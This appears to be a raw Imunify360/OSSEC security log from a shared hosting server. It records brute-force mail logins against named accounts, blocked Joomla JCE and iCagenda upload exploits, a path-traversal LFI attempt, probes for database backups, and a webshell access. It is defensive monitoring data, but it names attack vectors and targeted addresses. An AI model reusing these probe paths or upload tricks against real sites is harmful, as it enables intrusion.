IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://m.landing.siap-online.com/?goto=http%3A%2F%2Ftennis.itctennisclub.hu%2Fcompellingly-administrate-vertical-strategic-theme-areas-with-accurate-best-practices%2F&lt;/a\">auto news</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.191.11
country_id: 2661886
description:
2026-07-16 18:34:48 dovecot_login authenticator failed for H=82-209-191-11.cust.bredband2.com ([98.190.239.1]) [82.209.191.11]:45142: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.109
country_id: 6252001
description:
2026-07-16 18:35:32 dovecot_login authenticator failed for H=wsip-72-215-46-109.pn.at.cox.net ([200.106.49.149]) [72.215.46.109]:46151: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.71.26
country_id: 1835841
description:
2026-07-16 18:36:56 dovecot_login authenticator failed for H=(209.66.246.220.static.netvigator.com) [182.31.71.26]:39684: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-16 18:36:16 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([65.20.131.63]) [83.255.209.245]:53344: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.248.166.14
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-16 18:39:30 dovecot_login authenticator failed for H=([102.210.149.157]) [182.95.61.82]:56952: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.169.164.107
country_id: 614540
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/be1110016 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 164.100.212.39
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:23390.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:55ac8f778c05241c0d471cc624fcdbf165899ec5||Title:0x5ef8baaf||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 207.97.173.96
country_id: 6252001
domain: www.kallanigroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kallanigroup.com/cache/twojtoolbox/IMG_20230503_165240_471jpg_size220x160_bgffffff_fs77fdf13e5800116156faffea3e351220_tr2_p0.png HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-16 18:50:37 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net ([115.241.65.249]) [221.120.73.24]:54546: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.118.190.204
country_id: 1835841
description:
2026-07-16 18:50:55 dovecot_login authenticator failed for H=([112.26.99.93]) [220.118.190.204]:25480: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.84.236.243
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:interceptorgloba||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-16 18:52:04 dovecot_login authenticator failed for H=(abts-north-static-166.23.176.122.airtelbroadband.in) [182.95.230.74]:56116: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.84.236.243
country_id: 1880251
domain: interceptorglobal.in
description:
IM360 WAF: Bad file extension||RSV:8.29||T:APACHE||MVN:REQUEST_FILENAME||MV:/db.sql||User:interceptorgloba||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.19.91
country_id: 1269750
description:
2026-07-16 18:51:51 dovecot_login authenticator failed for H=([61.84.228.191]) [117.250.19.91]:54458: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469918
abuser: 140.213.65.145
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated non-PHP executable upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceps8q2pab.xml.shtml||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-16 18:55:58 dovecot_login authenticator failed for H=([182.225.134.13]) [196.0.113.110]:48061: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.247.22.181
country_id: 1835841
description:
2026-07-16 18:56:20 dovecot_login authenticator failed for H=([107.181.161.85]) [106.247.22.181]:39567: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-16 18:56:33 dovecot_login authenticator failed for H=([111.70.21.178]) [122.53.106.124]:49878: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.188.224.51
country_id: 337996
domain: alnayza.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/alnayza.com/ HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.87.136.115
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.151
country_id: 1668284
description:
2026-07-16 18:59:00 dovecot_login authenticator failed for H=110-25-112-151.adsl.fetnet.net (113.20.167.124.adsl-pool.sx.cn) [110.25.112.151]:33606: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.100.216.56
country_id: 1269750
description:
2026-07-16 18:59:16 dovecot_login authenticator failed for H=(102-220-158-10.simbafiber.co.zm) [103.100.216.56]:54603: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 79.141.36.131
country_id: 2635167
domain: www.globalgroupoman.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/124.0.6367.91 Safari/537.36||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.119.70.200
country_id: 1282988
description:
2026-07-16 19:00:50 dovecot_login authenticator failed for H=([49.115.219.90]) [157.119.70.200]:52290: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.126.185
country_id: 337996
description:
2026-07-16 19:03:18 dovecot_login authenticator failed for H=([146.190.215.195]) [196.189.126.185]:53806: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2.57.170.45
country_id: 3175395
description:
[2026-07-16 19:07:05 +0530] info [whostmgrd] 2.57.170.45 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-16 19:07:11 dovecot_login authenticator failed for H=([121.164.135.251]) [65.99.181.123]:43146: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-16 19:09:38 dovecot_login authenticator failed for H=(host-176-36-139-231.b024.la.net.ua) [207.254.40.89]:59377: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.191.176.93
country_id: 2661886
description:
2026-07-16 19:10:04 dovecot_login authenticator failed for H=c83-191-176-93.bredband.tele2.se ([93.95.241.150]) [83.191.176.93]:44580: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.218.237.218
country_id: 1269750
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e81387203 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 192.140.149.97
country_id: 1168579
domain: ibmctradeflow.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:65629.ibmctradeflow.com||ServerName:ibmctradeflow.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e1bcaf38730b2f729c0d4bede0a134136574df5d||Title:rsfi7xz2kncxu1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77562131
abuser: 110.137.82.72
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla iCagenda registration.submit (CVE-2026-48939)||MVN:FILES:jform[attachment]||MV:ic_d3ad93b0f9.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.120.42.31
country_id: 1733045
description:
2026-07-16 19:12:33 dovecot_login authenticator failed for H=(kd113158205225.ppp-bb.dion.ne.jp) [121.120.42.31]:41408: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.149
country_id: 1835841
description:
2026-07-16 19:13:03 dovecot_login authenticator failed for H=([192.111.129.146]) [218.149.228.149]:33975: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 192.140.149.97
country_id: 1168579
domain: ibmcglobal.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:61184.ibmcglobal.com||ServerName:ibmcglobal.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:889b154f67edf0cf2a6a39ebba0ceecd50e958dc||Title:thk6t166fm7h92||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"http://encyclobeedia.com/index.php?title=K%E1%BB%B9_thu%E1%BA%ADt_qu%E1%BA%A3n_l%C3%BD_dinh_d%C6%B0%E1%BB%A1ng_m%C3%B9a_m%C6%B0a\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.40.247
country_id: 1562822
description:
2026-07-16 19:17:36 dovecot_plain authenticator failed for H=(widatont) [171.244.40.247]:12827: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77469916
abuser: 175.100.79.76
country_id: 1831722
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcez3r9cbum.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-16 19:21:54 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net (118-163-145-175.hinet-ip.hinet.net) [73.203.17.220]:43838: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.247.84
country_id: 1269750
description:
2026-07-16 19:22:05 dovecot_login authenticator failed for H=([45.178.227.128]) [203.192.247.84]:35936: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://houston.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.208.70.70
country_id: 3077311
description:
2026-07-16 19:23:34 dovecot_login authenticator failed for H=83-208-70-70.rcc.o2.cz ([196.188.187.85]) [83.208.70.70]:41568: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
2026-07-16 19:24:58 dovecot_login authenticator failed for H=ip157.net-193-180-125.koping.net ([146.66.76.174]) [193.180.125.157]:40756: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.143
country_id: 1668284
description:
2026-07-16 19:25:18 dovecot_login authenticator failed for H=110-25-112-143.adsl.fetnet.net ([118.122.196.230]) [110.25.112.143]:55947: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-16 19:26:15 dovecot_login authenticator failed for H=([70.166.167.60]) [182.95.181.138]:34486: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-16 19:27:03 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net ([223.100.224.75]) [111.70.11.38]:41682: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-16 19:27:23 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([120.194.220.230]) [65.73.230.102]:60720: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.94.213.27
country_id: 3625428
domain: interceptorglobal.in
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/interceptorglobal.in/ HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-16 19:28:41 dovecot_login authenticator failed for H=([112.31.167.120]) [41.219.149.74]:27810: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77789665
abuser: 103.245.38.203
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:layoutName||MV:../../../../558a27198ae5b589_u0vxof92||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.0.165.219
country_id: 1605651
description:
2026-07-16 19:32:23 dovecot_login authenticator failed for H=([199.58.185.11]) [106.0.165.219]:44355: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.177.201.153
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/gallo-accoustics-round-sound?Itemid=101&catid=18 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.185.199.72
country_id: 2077456
description:
2026-07-16 19:37:02 dovecot_login authenticator failed for H=([125.19.244.62]) [203.185.199.72]:47208: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.148.194
country_id: 99237
description:
2026-07-16 19:40:06 dovecot_plain authenticator failed for H=(chanscele) [65.20.148.194]:43583: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.69.142.174
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/index.php HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-16 19:45:21 dovecot_login authenticator failed for H=([125.138.166.217]) [211.63.34.149]:60263: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-16 19:45:45 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([222.92.61.242]) [76.133.97.153]:43961: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.61.28.92
country_id: 1269750
domain: kallanigroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kallanigroup.com/ HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.116.107.222
country_id: 1835841
description:
2026-07-16 19:51:08 dovecot_login authenticator failed for H=([142.54.228.195]) [211.116.107.222]:37581: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.173.78.90
country_id: 2510769
description:
2026-07-16 19:51:28 dovecot_login authenticator failed for H=([183.6.44.239]) [90.173.78.90]:35363: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.61.159.91
country_id: 2264397
description:
2026-07-16 19:51:43 dovecot_login authenticator failed for H=91.159.61.94.rev.vodafone.pt ([149.54.62.62]) [94.61.159.91]:43562: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.62.139.167
country_id: 99237
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 150.228.93.209
country_id: 3175395
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c51373248 HTTP/1.1||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.249.195
country_id: 1835841
description:
2026-07-16 19:58:43 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [119.192.249.195]:37589: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.142.184.55
country_id: 1210997
description:
2026-07-16 19:59:09 dovecot_login authenticator failed for H=([49.124.153.38]) [103.142.184.55]:45468: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.184.118.126
country_id: 1269750
description:
2026-07-16 20:00:27 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [122.184.118.126]:34582: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.101.50
country_id: 1269750
description:
2026-07-16 20:00:12 dovecot_login authenticator failed for H=([49.124.148.204]) [122.185.101.50]:36540: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.27.83
country_id: 1643084
description:
2026-07-16 20:02:39 dovecot_login authenticator failed for H=([142.54.229.253]) [103.90.27.83]:59510: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.123.50
country_id: 1269750
description:
2026-07-16 20:05:06 dovecot_login authenticator failed for H=(111-70-42-37.emome-ip.hinet.net) [182.95.123.50]:42246: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.2.51
country_id: 298795
description:
2026-07-16 20:05:18 dovecot_login authenticator failed for H=(ip-50-5-205-174.dynamic.fuse.net) [85.105.2.51]:38116: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.237.155.150
country_id: 1835841
description:
2026-07-16 20:05:55 dovecot_login authenticator failed for H=([184.181.217.198]) [1.237.155.150]:35424: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.192
country_id: 1668284
description:
2026-07-16 20:06:19 dovecot_login authenticator failed for H=111-70-32-192.emome-ip.hinet.net ([121.178.185.141]) [111.70.32.192]:35745: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.121.102.76
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:139718||Sizes:55||Combined size:55||User:alnay||WPU:||Filename:fisba6bs.php||Scanned:/tmp//20260716-201341-aljuHdc9yKUG-ag3zhSBZAAAAVU-file-qnuCR7||SC:/home/alnay/public_html/index.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.121.102.76
country_id: 1643084
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcemdppa7qn.xml.php||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.88.108.12
country_id: 6252001
description:
2026-07-16 20:14:41 dovecot_login authenticator failed for H=([123.129.245.249]) [70.88.108.12]:54455: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.228.86
country_id: 1269750
description:
2026-07-16 20:14:51 dovecot_login authenticator failed for H=([174.75.211.196]) [125.23.228.86]:60850: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-07-16 20:16:38 dovecot_login authenticator failed for H=([111.26.101.76]) [208.69.161.214]:39678: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.174.49
country_id: 99237
description:
2026-07-16 20:16:16 dovecot_login authenticator failed for H=([222.126.106.8]) [65.20.174.49]:48367: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.209.67.3
country_id: 163843
description:
2026-07-16 20:18:43 dovecot_login authenticator failed for H=([106.247.22.181]) [205.209.67.3]:37088: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-16 20:18:52 dovecot_login authenticator failed for H=([120.195.26.54]) [183.82.56.12]:54824: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-16 20:19:58 dovecot_login authenticator failed for H=([182.95.185.14]) [183.104.220.84]:39780: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.88.209.51
country_id: 1269750
description:
2026-07-16 20:24:53 dovecot_login authenticator failed for H=([61.184.128.210]) [202.88.209.51]:37374: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 182.9.35.194
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/json.php||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.194
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.29||T:APACHE||MV:/wp-content/uploads/json.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.99.181.123
country_id: 2661886
description:
2026-07-16 20:24:19 dovecot_login authenticator failed for H=(72-24-210-58.cpe.sparklight.net) [65.99.181.123]:42925: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 35.254.244.123
country_id: 6252001
domain: www.futuracare.com.au
description:
IM360 WAF: Request body parsing error||err_msg:Multipart parsing error: Multipart: No boundaries found in payload.||RSV:8.29||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.197.170.18
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://Histopolis.com/\">slot depo 5k</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.29||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.232.66
country_id: 1269750
description:
2026-07-16 20:34:53 dovecot_login authenticator failed for H=([174.64.199.85]) [182.95.232.66]:51772: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.209.148.60
country_id: 2661886
description:
2026-07-16 20:35:26 dovecot_login authenticator failed for H=82-209-148-60.cust.bredband2.com ([121.191.70.197]) [82.209.148.60]:40694: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.130
country_id: 3686110
description:
2026-07-16 20:35:44 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [206.62.136.130]:48705: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-16 20:35:56 dovecot_login authenticator failed for H=([49.124.152.216]) [101.13.5.63]:41664: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-16 20:36:07 dovecot_login authenticator failed for H=([152.52.240.162]) [64.49.97.15]:42786: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.36.136
country_id: 1269750
description:
2026-07-16 20:38:59 dovecot_login authenticator failed for H=(50-212-27-146-static.hfc.comcastbusiness.net) [59.93.36.136]:56888: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.110.42
country_id: 1269750
description:
2026-07-16 20:38:19 dovecot_login authenticator failed for H=(201-200-93-6.mad-05-p64.cantv.net.93.208.201.in-addr.arpa) [182.95.110.42]:50658: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.216.6.17
country_id: 2077456
description:
2026-07-16 20:38:45 dovecot_login authenticator failed for H=139-216-6-17.sta.dodo.net.au ([211.186.41.227]) [139.216.6.17]:45059: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.180.125.157
country_id: 2661886
description:
